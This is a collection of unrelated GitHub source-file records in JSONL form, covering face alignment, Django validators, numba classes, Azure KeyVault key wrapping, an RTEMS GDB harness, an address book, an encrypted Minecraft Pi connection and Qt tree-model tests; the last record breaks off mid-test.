coord5point)\n# cv2.imshow('affine', dst)\n# crop_im = dst[0:imgSize[0], 0:imgSize[1]]\n# cv2.imshow('affine_crop_im', crop_im)\n# =============================================================================\n\n# =============================================================================\n# if __name__=='__main__':\n# main()\n# cv2.waitKey()\n# pass\n# =============================================================================\n","repo_name":"yuhaoluo/facenet","sub_path":"src/face_align.py","file_name":"face_align.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72397852412","text":"from django.core.exceptions import ValidationError\nfrom datetime import datetime, timezone\n\nstart_time = datetime.now(timezone.utc)\nend_time = datetime.now(timezone.utc)\ndef validate_start_date_time(value):\n global start_time\n weekday = value.weekday()\n time = value.hour\n if time < 9 or time > 18 or weekday > 5:\n raise ValidationError(\"This field is invalid. Insert working hours\")\n \n else:\n start_time = value\n return value\ndef validate_end_date_time(value):\n global start_time,end_time\n weekday = value.weekday()\n time = value.hour\n end_time = value\n duration = end_time - start_time\n duration_in_m = divmod(duration.total_seconds(),60)[0]\n if time < 9 or time > 18 or weekday > 5 or duration_in_m < 0 or duration_in_m > 30:\n raise ValidationError(\"This field is invalid. Time is not within working hours or exceeds 30min limit\")\n \n else:\n return value","repo_name":"GhostlyPresence/stickboy-creative-hiring-challenge","sub_path":"sbcHiringApp/taskApp/validators/schedule_validator.py","file_name":"schedule_validator.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13759524209","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2019年5月2日 下午7:28:23\nZhukun Luo\nJiangxi University of Finance and Economics\n'''\n#JI类\n#自定义Node类\nimport numba as nb\nclass Node:\n def __init__(self,value):\n self.next=None\n self.value=value\nclass LinkedList:#实现链表\n def __init__(self):\n self.head=None\n def push_front(self,value):\n if self.head==None:\n self.head=Node(value)\n else:\n #替换链表头\n new_head=Node(value)\n new_head.next=self.head\n self.head=new_head\n def show(self):\n node=self.head\n while node is not None:\n print(node.value)\n node=node.next\nlst=LinkedList()\nlst.push_front(1)\nlst.push_front(2)\nlst.push_front(3) \nlst.show()#321\n@nb.jit\ndef sum_list(lst):\n result=0\n node=lst.head\n while node is not None:\n result+=node.value\n node=node.next\n return result\nlst1=LinkedList()\n[lst1.push_front(i) for i in range(1000)]\n# print(sum_list(lst1))#无法推断类型\n#可使用装饰器nb.jitclass 来编译Node和LinkedList类,装饰器接受一个参数,其中包含被装饰类的属性的类型。\n#首先必须先声明属性,在定义类,使用nb.deferred_type()函数,其次属性next可以使NOne,也可以是一个Node实例,这被称为可选类型,nb.optional\nnode_type=nb.deferred_type()\nnode_spec=[('next',nb.optional(node_type)),('value',nb.int64)]\n@nb.jitclass(node_spec)\nclass Node1:\n def __init__(self,value):\n self.next=None\n self.value=value\nnode_type.define(Node.class_type.instance_type)\nll_spec=[('head',nb.optional(Node.class_type.instance_type))]\n@nb.jitclass(ll_spec)\nclass LinkedList1:#实现链表\n def __init__(self):\n self.head=None\n def push_front(self,value):\n if self.head==None:\n self.head=Node(value)\n else:\n #替换链表头\n new_head=Node(value)\n new_head.next=self.head\n self.head=new_head\n def show(self):\n node=self.head\n while node is not None:\n print(node.value)\n node=node.next\nlst2=LinkedList1()\n[lst2.push_front(i) for i in range(1000)]\n#性能很大提升","repo_name":"BigBigRadish/python_high_performance","sub_path":"JIT_tools/jit_custom_class.py","file_name":"jit_custom_class.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"32850357300","text":"from azure.keyvault import KeyVaultClient\nfrom azure.common.credentials import ServicePrincipalCredentials\n\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding\nfrom cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers\nfrom cryptography.hazmat.primitives import hashes\n\nclass AESKeyWrapper:\n \"\"\" Wrapper for key wrapping functions.\n\n Key is wrapped localy with public key retrieved from Azure KeyVault.\n Uses Azure KeyVault API to unwrap the key.\n \"\"\"\n\n def __init__(self, vault, client_id, secret, tenant, key_name, key_version):\n \"\"\"\n Wrapper constructor.\n\n :param str vault: Azure KeyVault url.\n :param str client_id: Azure Client Id.\n :param str secret: Azure Client secret.\n :param str tenant: Azure tenant id.\n :param str key_name: Azure KeyVault key name.\n :param str key_version: Azure KeyVault key version.\n \"\"\"\n self._key_name = key_name\n self._key_version = key_version\n self._vault = vault\n self._client_id = client_id\n self._secret = secret\n self._tenant = tenant\n self._credentials = ServicePrincipalCredentials(\n client_id = self._client_id,\n secret = self._secret,\n tenant = self._tenant)\n self.kvclient = KeyVaultClient(self._credentials)\n\n def wrap_aes_key_local(self, aes_key, public_key):\n \"\"\"\n Wraps AES key locally.\n Uses RSA-OAEP algorithm to wrap provided key.\n\n :param str aes_key: unencrypted AES key.\n :param str public_key: public part of RSA key.\n\n :return: String with encrypted AES key.\n \"\"\"\n int_n = self._bytes_to_int(public_key.n)\n int_e = self._bytes_to_int(public_key.e)\n public_numbers = RSAPublicNumbers(int_e, int_n)\n public_key = public_numbers.public_key(default_backend())\n\n wrapped_key = public_key.encrypt(aes_key, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA1()),\n algorithm=hashes.SHA1(),\n label=None))\n return wrapped_key\n\n def unwrap_aes_key(self, wrapped_key):\n \"\"\"\n Unwraps AES key with Azure KeyVault.\n Uses RSA-OAEP algorithm to unwrap provided key.\n\n :param str wrapped_key: encrypted AES key.\n\n :return: String with unencrypted AES key.\n \"\"\"\n return self.kvclient.unwrap_key(self._vault, self._key_name, self._key_version, 'RSA-OAEP', wrapped_key).result\n\n def get_public_key(self):\n \"\"\" Retrieve public key from Azure KeyVault.\n\n :return: JsonWebKey with public RSA key.\n \"\"\"\n key_bundle = self.kvclient.get_key(self._vault, self._key_name, self._key_version)\n return key_bundle.key\n\n\n def _bytes_to_int(self, bytes):\n \"\"\" Helper function to convert bytes array to int. \"\"\"\n result = 0\n for b in bytes:\n result = result * 256 + ord(b)\n return result\n\n# Tests only\nimport random, string\nfrom config import Config\n\ndef generate_aes_key(length):\n letters = string.ascii_lowercase\n return ''.join(random.choice(letters) for i in range(length))\n\nif __name__ == \"__main__\":\n config = Config()\n wrapper = AESKeyWrapper(vault = '',\n client_id = '',\n secret = '',\n tenant = '',\n key_name = '',\n key_version = '')\n\n public_key = wrapper.get_public_key()\n\n for i in range(100):\n key = generate_aes_key(32)\n wrapped_key = wrapper.wrap_aes_key_local(key, public_key)\n restored_aes_key = wrapper.unwrap_aes_key(wrapped_key)\n if key != restored_aes_key:\n print(\"==========================\")\n print(key)\n print(\"--------------------------\")\n print(restored_aes_key)\n print(\"\")\n","repo_name":"microsoft/azure-python-redis-queue-processor","sub_path":"app/aeskeywrapper.py","file_name":"aeskeywrapper.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"25715444344","text":"from __future__ import print_function\n\nimport datetime\nimport os\ntry:\n import Queue\n queue = Queue\nexcept ImportError:\n import queue\nimport sys\nimport threading\nimport time\n\nfrom rtemstoolkit import error\nfrom rtemstoolkit import execute\nfrom rtemstoolkit import options\nfrom rtemstoolkit import path\n\nimport tester.rt.pygdb\n\nclass gdb(object):\n '''RTEMS Testing GDB base.'''\n\n def __init__(self, bsp_arch, bsp, trace = False, mi_trace = False):\n self.session = tester.rt.pygdb.mi_parser.session()\n self.trace = trace\n self.mi_trace = mi_trace\n self.lock_trace = False\n self.lock_locked = None\n self.lock = threading.RLock()\n self.script = None\n self.script_line = 0\n self.bsp = bsp\n self.bsp_arch = bsp_arch\n self.output = None\n self.output_length = 0\n self.gdb_console = None\n self.input = queue.Queue()\n self.commands = queue.Queue()\n self.process = None\n self.ecode = None\n self.state = {}\n self.running = False\n self.breakpoints = {}\n self.output = None\n self.output_buffer = ''\n self.timeout = None\n self.test_too_long = None\n self.lc = 0\n\n def _lock(self, msg):\n if self.lock_trace:\n print('|[ LOCK:%s ]|' % (msg))\n self.lock_locked = datetime.datetime.now()\n self.lock.acquire()\n\n def _unlock(self, msg):\n if self.lock_trace:\n period = datetime.datetime.now() - self.lock_locked\n print('|] UNLOCK:%s [| : %s' % (msg, period))\n self.lock.release()\n\n def _put(self, text):\n if self.trace:\n print(')))', text)\n self.commands.put(text)\n\n def _input_commands(self):\n if self.commands.empty():\n return False\n try:\n if self.trace:\n print('... input empty ', self.input.empty())\n if self.input.empty():\n line = self.commands.get(block = False)\n if self.trace:\n print('+++', line)\n self.input.put(line)\n except:\n pass\n return True\n\n def _reader(self, line):\n self._lock('_reader')\n if self.trace:\n print('<<<', line)\n try:\n self.lc += 1\n if line.startswith('(gdb)'):\n if self.trace:\n print('^^^ (gdb)')\n if not self._input_commands():\n self.gdb_expect()\n self._input_commands()\n else:\n self.gdb_parse(line)\n finally:\n self._unlock('_reader')\n\n def _writer(self):\n try:\n try:\n self._lock('_writer')\n try:\n if self.process is None:\n return None\n finally:\n self._unlock('_writer')\n line = self.input.get(timeout = 0.5)\n if self.trace:\n print('>>> input: queue=%d' % (self.input.qsize()), line)\n except queue.Empty:\n return True\n if line is None:\n return None\n return line + os.linesep\n except:\n if self.trace:\n print('writer exception')\n pass\n if self.trace:\n print('writer closing')\n return False\n\n def _timeout(self):\n self._stop()\n if self.timeout is not None:\n self.timeout()\n\n def _test_too_long(self):\n self._stop()\n if self.test_too_long is not None:\n self.test_too_long()\n\n def _cleanup(self, proc):\n self._lock('_cleanup')\n try:\n self._put(None)\n finally:\n self._unlock('_cleanup')\n\n def _gdb_quit(self, backtrace = False):\n self._lock('_gdb_quit')\n try:\n self._put('-exec-interrupt')\n if backtrace:\n self._put('bt')\n self._put('quit')\n self._put('None')\n if self.script:\n self.script_line = len(self.script)\n finally:\n self._unlock('_gdb_quit')\n\n def _stop(self):\n self._gdb_quit(backtrace=True)\n seconds = 5\n step = 0.1\n while self.process and seconds > 0:\n if seconds > step:\n seconds -= step\n else:\n seconds = 0\n self._unlock('_stop')\n time.sleep(step)\n self._lock('_stop')\n if self.process and seconds == 0:\n self._kill()\n\n def _kill(self):\n if self.process:\n self.process.kill()\n self.process = None\n\n def _execute_gdb(self, args):\n '''Thread to execute GDB and to wait for it to finish.'''\n cmds = args\n self.gdb_console('gdb: %s' % (' '.join(cmds)))\n ecode, proc = self.process.open(cmds)\n if self.trace:\n print('gdb done', ecode)\n self._lock('_execute_gdb')\n self.ecode = ecode\n self.process = None\n self.running = False\n self._unlock('_execute_gdb')\n\n def _monitor(self, timeout):\n output_length = self.output_length\n step = 0.25\n period = timeout[0]\n seconds = timeout[1]\n while self.process and period > 0 and seconds > 0:\n current_length = self.output_length\n if output_length != current_length:\n period = timeout[0]\n output_length = current_length\n if seconds < step:\n seconds = 0\n else:\n seconds -= step\n if period < step:\n step = period\n period = 0\n else:\n period -= step\n self._unlock('_monitor')\n time.sleep(step)\n self._lock('_monitor')\n if self.process is not None:\n if period == 0:\n self._timeout()\n elif seconds == 0:\n self._test_too_long()\n\n def open(self, command, executable,\n output, gdb_console, timeout,\n script = None, tty = None):\n self._lock('_open')\n self.timeout = timeout[2]\n self.test_too_long = timeout[3]\n try:\n cmds = execute.arg_list(command) + ['-i=mi',\n '--nx',\n '--quiet']\n if tty:\n cmds += ['--tty=%s' % tty]\n if executable:\n cmds += [executable]\n self.output = output\n self.gdb_console = gdb_console\n self.script = script\n self.process = execute.execute(output = self._reader,\n input = self._writer,\n cleanup = self._cleanup)\n exec_thread = threading.Thread(target=self._execute_gdb,\n args=[cmds])\n exec_thread.start()\n self._monitor(timeout)\n if self.ecode is not None and self.ecode > 0:\n raise error.general('gdb exec: %s: %s' % (cmds[0],\n os.strerror(self.ecode)))\n finally:\n self._unlock('_open')\n\n def kill(self):\n self._lock('_kill')\n try:\n self._kill()\n finally:\n self._unlock('_kill')\n\n def target_restart(self, started):\n pass\n\n def target_reset(self, started):\n pass\n\n def target_start(self):\n pass\n\n def target_end(self):\n pass\n\n def gdb_expect(self):\n if self.trace:\n print('}}} gdb-expect')\n if self.process and not self.running and self.script is not None:\n if self.script_line == len(self.script):\n self._put(None)\n else:\n if self.script_line == 0:\n self._put('-gdb-set confirm no')\n line = self.script[self.script_line]\n self.script_line += 1\n self._put(line)\n\n def gdb_parse(self, lines):\n try:\n if self.mi_trace:\n print('mi-data:', lines)\n rec = self.session.process(lines)\n if self.mi_trace:\n print('mi-rec:', rec)\n if rec.record_type == 'result':\n if rec.type == 'result':\n if rec.class_ == 'error':\n self._gdb_quit()\n elif 'register_names' in dir(rec.result):\n self.register_names = rec.result.register_names\n elif 'register_values' in dir(rec.result):\n self.register_values = rec.result.register_values\n elif rec.type == 'exec':\n if rec.class_ == 'running':\n if self.trace:\n print('*** running')\n self._put('')\n self.running = True\n elif rec.class_ == 'stopped':\n if self.trace:\n print('*** stopped')\n self.running = False\n #self._put('-data-list-register-values')\n elif rec.type == 'breakpoint':\n if rec.class_ == 'breakpoint-created':\n self.breakpoints[rec.result.bkpt.number] = rec.result.bkpt\n elif rec.class_ == 'breakpoint-modified':\n self.breakpoints[rec.result.bkpt.number] = rec.result.bkpt\n elif rec.class_ == 'breakpoint-deleted':\n if rec.result.id in self.breakpoints:\n del self.breakpoints[rec.result.id]\n elif rec.record_type == 'error':\n self._gdb_quit()\n elif rec.record_type == 'stream':\n if rec.type == 'console' or rec.type == 'log':\n for line in rec.value.splitlines():\n self.gdb_console(line)\n if rec.type == 'target':\n self.output_buffer += rec.value\n last_lf = self.output_buffer.rfind('\\n')\n if last_lf >= 0:\n lines = self.output_buffer[:last_lf]\n if self.trace:\n print('/// console output: ', len(lines))\n for line in lines.splitlines():\n self.output_length += len(line)\n self.output(line)\n self.output_buffer = self.output_buffer[last_lf + 1:]\n except:\n if self.trace:\n print('/// exception: console output')\n for line in lines.splitlines():\n self.output(line)\n\nif __name__ == \"__main__\":\n import tester.rt.console\n stdtty = tester.rt.console.save()\n try:\n def output(text):\n print(']', text)\n def gdb_console(text):\n print('>', text)\n script = ['target sim']\n if len(sys.argv) > 1:\n executable = sys.argv[1]\n script += ['load',\n 'run',\n 'info reg',\n '-stack-list-frames',\n '-stack-list-arguments --all-values']\n else:\n executable = None\n script += ['quit']\n g = gdb('sparc', 'sis', mi_trace = True)\n g.open('sparc-rtems4.11-gdb', executable, output, gdb_console, script)\n except:\n tester.rt.console.restore(stdtty)\n raise\n finally:\n tester.rt.console.restore(stdtty)\n","repo_name":"RTEMS/rtems-tools","sub_path":"tester/rt/gdb.py","file_name":"gdb.py","file_ext":"py","file_size_in_byte":11796,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"78"} +{"seq_id":"3429582513","text":"numerolf = 12\n\nif numerolf < 0:\n print('El nunmero es negativo')\nelif numerolf > 0:\n print('El numero es positivo')\nelse:\n print('El numero es 0')\n\n\nnumeroWhile = 0\nwhile numeroWhile < 3:\n numeroWhile +=1\n print(numeroWhile)\n\n\n# En Python no hay Do/While por ello uso While True\n\nnumeroWhile = 0\nwhile True:\n if numeroWhile < 3:\n numeroWhile += 1\n if numeroWhile >= 3:\n break\nprint(numeroWhile)\n\n\nnumeroFor = 0\nfor n in range(3):\n numeroFor += 1\n print(numeroFor)\n\n\n# En Python no hay Switch por ello uso If, Elif, Else\n\nestacion = 'VERANO'\n\nif estacion == 'VERANO':\n print('Es verano')\nelif estacion == 'INVIERNO':\n print('Es invierno')\nelif estacion == 'OTOÑO':\n print('Es otoño')\nelse:\n print('Es primavera')","repo_name":"DNM47/Bootcamp_ex","sub_path":"bootcamp_ex2.py","file_name":"bootcamp_ex2.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11790845082","text":"import csv\nimport json\n\n\nclass Contacts:\n def __init__(self, first_name, last_name, address, state, city, zip, phone_number, email):\n self.first_name = first_name\n self.last_name = last_name\n self.address = address\n self.state = state\n self.city = city\n self.zip = zip\n self.phone_number = phone_number\n self.email = email\n\n def to_dict(self):\n try:\n return {'first_name': self.first_name}\n except Exception as ex:\n print(ex)\n\n\nclass Addressbook:\n def __init__(self, book_name):\n self.people = {}\n self.book_name = book_name\n\n def add_person(self, con_obj):\n try:\n if con_obj.first_name in self.people:\n print(\"Person already present\")\n return\n self.people.update({con_obj.first_name: con_obj})\n print(\"person Added\")\n except Exception as ex:\n print(ex)\n\n def display(self):\n try:\n for i in self.people.values():\n print(\"===========================\")\n print(\"\\tFirst name: {}\".format(i.first_name))\n print(\"\\tLast name: {}\".format(i.last_name))\n print(\"\\taddress: {}\".format(i.address))\n print(\"\\tstate: {}\".format(i.state))\n print(\"\\tcity: {}\".format(i.city))\n print(\"\\tzip: {}\".format(i.zip))\n print(\"\\tPhone number: {}\".format(i.phone_number))\n print(\"\\temail: {}\".format(i.email))\n except Exception as ex:\n print(ex)\n\n def update(self, con_obj):\n try:\n if con_obj.first_name not in self.people:\n print(\"Person is not present\")\n return\n self.people.update({con_obj.first_name: con_obj})\n print(\"Person updated\")\n except Exception as ex:\n print(ex)\n\n def delete(self, name):\n try:\n for i in self.people.values():\n if name != i.first_name:\n print(\"Person not present\")\n return\n del self.people[name]\n print(\"Person removed\")\n except Exception as ex:\n print(ex)\n\n\nclass MultipleAddressbook:\n def __init__(self):\n self.multi_book = {}\n self.dict = {}\n\n def add_multi(self, address_obj):\n try:\n self.multi_book.update({address_obj.book_name: address_obj})\n print(\"AddressBook added\")\n except Exception as ex:\n print(ex)\n\n def get_addressbook(self, book_name):\n return self.multi_book.get(book_name)\n\n def display_addressbook(self):\n try:\n for k, v in self.multi_book.items():\n for i in v.people.values():\n print(k, \"=\", i.first_name, i.last_name, i.address, i.city, i.zip, i.state, i.phone_number, i.email)\n except Exception as ex:\n print(\"pro\")\n print(ex)\n\n def delete_book(self, book_name):\n try:\n if book_name not in self.multi_book.keys():\n print(\"book is not present\")\n return\n del self.multi_book[book_name]\n print(\"AddressBook deleted\")\n except Exception as ex:\n print(ex)\n\n def addtoCSV(self):\n try:\n with open('addressBook.csv', 'w', newline='') as file:\n writer = csv.writer(file)\n writer.writerow(self.multi_book.keys())\n for v in self.multi_book.values():\n writer.writerow(v.people.keys())\n except Exception as ex:\n print(ex)\n\n def addtojson(self):\n try:\n filename = 'Sample.json'\n for k, v in self.multi_book.items():\n for c in v.people.items():\n if k not in self.dict:\n for i in range(1):\n self.dict.update({k: c[1].to_dict()})\n print(self.dict)\n with open(filename, 'w') as file:\n json.dump(self.dict, file, indent=4)\n except Exception as ex:\n print(ex)\n\n def read_csv(self):\n try:\n with open('AddressBook.csv', newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=' ', quotechar='|')\n for row in spamreader:\n print(', '.join(row))\n except Exception as ex:\n print(ex)\n\n def read_json(self):\n try:\n filename = 'Sample.json'\n with open(filename, 'r') as file:\n print(json.load(file))\n except Exception as ex:\n print(ex)\n\n\ndef add_book():\n try:\n book_name = input(\"Enter Book Name: \")\n book = multi_addressbook.get_addressbook(book_name)\n if book is None:\n book = Addressbook(book_name)\n person_name = input(\"Enter First Name: \")\n l_name = input(\"Enter Last Name: \")\n address = input(\"Enter address: \")\n state = input(\"Enter state: \")\n city = input(\"Enter city: \")\n zip = input(\"Enter zip: \")\n mob = input(\"Enter mob: \")\n email = input(\"Enter email: \")\n con = Contacts(person_name, l_name, address, state, city, zip, mob, email)\n book.add_person(con)\n multi_addressbook.add_multi(book)\n except Exception as ex:\n print(ex)\n\n\ndef display():\n try:\n multi_addressbook.display_addressbook()\n except Exception as ex:\n print(ex)\n\n\ndef update_book():\n try:\n book_name = input(\"Enter Book Name: \")\n person_name = input(\"Enter name to update: \")\n book = multi_addressbook.get_addressbook(book_name)\n if book_name in multi_addressbook.multi_book.keys():\n print('present')\n for v in multi_addressbook.multi_book.values():\n for i, j in v.people.items():\n if person_name == i:\n l_name = input(\"Enter Last Name: \")\n address = input(\"Enter address: \")\n state = input(\"Enter state: \")\n city = input(\"Enter city: \")\n zip = input(\"Enter zip: \")\n mob = input(\"Enter mob: \")\n email = input(\"Enter email: \")\n con = Contacts(person_name, l_name, address, state, city, zip, mob, email)\n book.update(con)\n except Exception as ex:\n print(ex)\n\n\ndef delete_book():\n try:\n name = input(\"Enter name to update: \")\n multi_addressbook.delete_book(name)\n except Exception as ex:\n print(ex)\n\n\ndef add_csv():\n try:\n multi_addressbook.addtoCSV()\n except Exception as ex:\n print(ex)\n\n\ndef add_json():\n try:\n multi_addressbook.addtojson()\n except Exception as ex:\n print(ex)\n\n\ndef read_csv():\n multi_addressbook.read_csv()\n\n\ndef read_json():\n multi_addressbook.read_json()\n\n\nif __name__ == '__main__':\n multi_addressbook = MultipleAddressbook()\n while True:\n print(\"1. Add Person\\n2. Display person\\n3. Update Person\\n4. Delete\\n5. Save to csv\"\n \"\\n6. save to json\\n7. read csv\\n8. read json\\n9. Exit\")\n n = int(input(\"Enter choice: \"))\n\n if n == 0:\n break\n choice = {1: add_book, 2: display, 3: update_book, 4: delete_book, 5: add_csv,\n 6: add_json, 7: read_csv, 8: read_json}\n choice.get(n)()\n","repo_name":"AshishP2000/AddressBookPython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24856691566","text":"import socket\nimport select\nimport sys\nfrom mcpi.util import flatten_parameters_to_bytestring\nimport rsa # import RSA module\nfrom rsa.key import PublicKey\nimport base64\nimport hashlib\nimport hmac\n\n\"\"\" @author: Aron Nieminen, Mojang AB\"\"\"\nclass RequestError(Exception):\n pass\n\nclass Connection:\n \"\"\"Connection to a Minecraft Pi game\"\"\"\n RequestFailed = \"Fail\"\n\n def __init__(self, address, port):\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.connect((address, port))\n self.lastSent = \"\"\n self.publicKey = None # Add publicKey attribute\n self.secret_mac_key = None # Add secret_mac_key attribute\n\n def encryption(self, message, publicKey):\n # Encrypt the message with the PublicKey object\n ciphertext = rsa.encrypt(message, publicKey)\n\n # Return the base64-encoded ciphertext\n return base64.b64encode(ciphertext).decode('ascii')\n \n def drain(self):\n \"\"\"Drains the socket of incoming data\"\"\"\n while True:\n readable, _, _ = select.select([self.socket], [], [], 0.0)\n if not readable:\n break\n data = self.socket.recv(1500)\n e = \"Drained Data: <%s>\\n\"%data.strip()\n e += \"Last Message: <%s>\\n\"%self.lastSent.strip()\n sys.stderr.write(e)\n\n def send(self, f, *data):\n \"\"\"\n Sends data. Note that a trailing newline '\\n' is added here\n\n The protocol uses CP437 encoding - https://en.wikipedia.org/wiki/Code_page_437\n which is mildly distressing as it can't encode all of Unicode.\n \"\"\"\n\n # Encrypt data with public key\n encrypted_data = self.encryption(flatten_parameters_to_bytestring(data),self.publicKey)\n print(\"Encrypted Data: \", encrypted_data)\n\n # Concatenate f (method name) with encrypted_data into byte string\n s = b\"\".join([f, b\"(\", encrypted_data.encode('ascii'), b\")\"])\n\n # Calculate the HMAC \"signature\" of the encrypted message\n hash = hmac.new(self.secret_mac_key, s, hashlib.sha256)\n\n # lowercase the hash with base64\n hash_bytes = base64.b64encode(hash.digest())\n\n # Concatenate the encrypted message and the HMAC signature into a single byte string\n s += hash_bytes + b\"\\n\"\n\n # call _send function to send the encrypted message and the HMAC signature of it to Java server\n self._send(s)\n\n def _send(self, s):\n \"\"\"\n The actual socket interaction from self.send, extracted for easier mocking\n and testing\n \"\"\"\n self.drain()\n self.lastSent = s\n self.socket.sendall(s)\n\n def receive(self):\n \"\"\"Receives data. Note that the trailing newline '\\n' is trimmed\"\"\"\n s = self.socket.makefile(\"r\").readline().rstrip(\"\\n\")\n if s == Connection.RequestFailed:\n raise RequestError(\"%s failed\"%self.lastSent.strip())\n \n return s\n \n def receiveRSAPublicKeyMacKey(self):\n \"\"\"Receives data. Note that the trailing newline '\\n' is trimmed\"\"\"\n s = self.socket.makefile(\"r\").readline().rstrip(\"\\n\")\n if s == Connection.RequestFailed:\n raise RequestError(\"%s failed\"%self.lastSent.strip())\n \n # Convert the received string (RSA public key,MAC key) to bytes\n public_key_bytes = base64.b64decode(s[0:s.index(\",\")])\n\n # Convert the RSA public key bytes to PEM format\n pem_data = rsa.pem.save_pem(public_key_bytes, 'PUBLIC KEY')\n\n # Load the RSA public key from the PEM data\n self.publicKey = rsa.key.PublicKey.load_pkcs1_openssl_pem(pem_data)\n\n # Convert the received MAC key string to bytes\n self.secret_mac_key = base64.b64decode(s[s.index(\",\")+1:len(s)])\n\n return s\n\n def sendReceive(self, *data):\n \"\"\"Sends and receive data\"\"\"\n self.send(*data)\n return self.receive()\n","repo_name":"evelynlie/Secure-MCPI-API-Communication-using-Encrypt-Then-Mac","sub_path":"mcpi_elci_master/mcpi/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35480760485","text":"import pytest\n\nfrom siva.types.types import Str, Int, Bool, Float, Typed\nfrom siva.types.tree_model import TreeModel, TreeView\nfrom siva.types.hierarchy import Node\nfrom siva.tests.mock import blue_icon, green_icon\nfrom siva.tests.modeltest import ModelTest\nfrom siva.qt_bindings import Qt, QtCore, QtGui, QTest\n\n\nclass ContractorType(Bool):\n def getIcon(self, obj):\n return green_icon if getattr(obj, self.attr) else blue_icon\n\nclass TitleType(Str):\n def getFont(self, obj):\n font = super().getFont(obj)\n if obj.title in ['CEO', 'COO', 'CTO']:\n font.setBold(True)\n return font\n\nclass Person(Node, Typed):\n name = Str(\"Name\")\n age = Int(min=0, max=100)\n id = Int(desc=\"Employee ID\")\n title = TitleType()\n contractor = ContractorType(desc=\"Full time, regular employee\", checkbox=True)\n salary = Float(min=0, bg_color='#DDDDDD', font_color='blue')\n\n def __init__(self, name, age, id, title, contractor=False, parent=None, salary=0):\n super().__init__(parent)\n self.name=name\n self.age=age\n self.id=id\n self.title = title\n self.contractor = contractor\n self.salary = salary\n\n self._manifest = None\n\n\n def __repr__(self):\n return \"Person({})\".format(self.name)\n\n\n@pytest.fixture\ndef people():\n alice = Person(name='Alice', age=30, id=1, title=\"CEO\", salary=5000.0)\n bob = Person(name='Bob', age=31, id=2, title=\"COO\", salary=4000.0)\n charlie = Person( name='Charlie', age=32, id=3, title=\"CTO\", salary=4000.0)\n david = Person(name='David', age=33, id=4, title=\"VP, Marketing\", salary=3500.0)\n elena = Person(name='Elena', age=34, id=5, title=\"VP, Engineering\", salary=3500.0)\n frank = Person(name='Frank', age=35, id=6, title=\"Engineering Manager\", salary=3000.0)\n gina = Person(name='Gina', age=36, id=7, title=\"Principle Engineer\", salary=3000.0)\n helen = Person(name='Helen', age=37, id=8, title=\"Engineer\", salary=3000.0)\n ian = Person(name='Ian', age=38, id=9, title=\"Engineer\", salary=2500.0, contractor=True)\n\n people = (alice, bob, charlie, david, elena, frank, gina, helen, ian)\n return people\n\n@pytest.fixture\ndef tree(people):\n (alice, bob, charlie, david, elena, frank, gina, helen, ian) = people\n\n alice.add_child(bob)\n alice.add_child(charlie)\n\n bob.add_child(david)\n bob.add_child(elena)\n\n elena.add_child(frank)\n elena.add_child(gina)\n\n frank.add_child(helen)\n frank.add_child(ian)\n\n tree = TreeModel(root=alice, headers=['name', 'age', 'id', 'title', 'contractor', 'salary'])\n return tree\n\n\ndef test_model(tree):\n top = tree.index ( 0, 0, QtCore.QModelIndex() )\n assert top == tree.index ( 0, 0, QtCore.QModelIndex() )\n\n assert tree.rowCount(QtCore.QModelIndex()) == 1\n print(\"num rows\", tree.rowCount(QtCore.QModelIndex()))\n\n assert len(tree.headers) > 0\n\n assert tree.columnCount(QtCore.QModelIndex()) == 6\n print(\"num cols\", tree.columnCount(QtCore.QModelIndex()))\n\n\n result = tree.hasIndex(0,0)\n assert result is True\n\n root_index = tree.index(0,0, QtCore.QModelIndex())\n assert root_index.internalPointer() is not None\n\n root = root_index.internalPointer()\n assert root.name == \"Alice\"\n\n child_index = tree.index(0, 0, root_index)\n child = child_index.internalPointer()\n assert child.name == \"Bob\"\n\n grandchild_index_1 = tree.index(0, 0, child_index)\n grandchild_1 = grandchild_index_1.internalPointer()\n assert grandchild_1.name == \"David\"\n\n grandchild_index_2 = tree.index(1, 0, child_index)\n grandchild_2 = grandchild_index_2.internalPointer()\n assert grandchild_2.name == \"Elena\"\n\n\n assert tree.parent( grandchild_index_1 ) == child_index\n assert tree.parent( grandchild_index_2 ) == child_index\n\n ai = tree.index(0,0, QtCore.QModelIndex())\n bi = tree.index(0,0, ai)\n ci = tree.index(1,0, ai)\n\n di = tree.index(0,0, bi)\n ei = tree.index(1, 0, bi)\n\n fi = tree.index(0, 0, ei)\n gi = tree.index(1, 0, ei)\n\n hi = tree.index(0, 0, fi)\n ii = tree.index(1, 0, fi)\n\n assert ai.internalPointer().name == \"Alice\"\n assert bi.internalPointer().name == \"Bob\"\n assert ci.internalPointer().name == \"Charlie\"\n assert di.internalPointer().name == \"David\"\n assert ei.internalPointer().name == \"Elena\"\n assert fi.internalPointer().name == \"Frank\"\n assert gi.internalPointer().name == \"Gina\"\n assert hi.internalPointer().name == \"Helen\"\n assert ii.internalPointer().name == \"Ian\"\n\n\n assert tree.parent(hi).internalPointer().name == \"Frank\"\n assert tree.parent(hi) == fi\n assert tree.parent(ii).internalPointer().name == \"Frank\"\n\n\n index = tree.index ( 0, 0, fi )\n assert tree.parent( index ) == 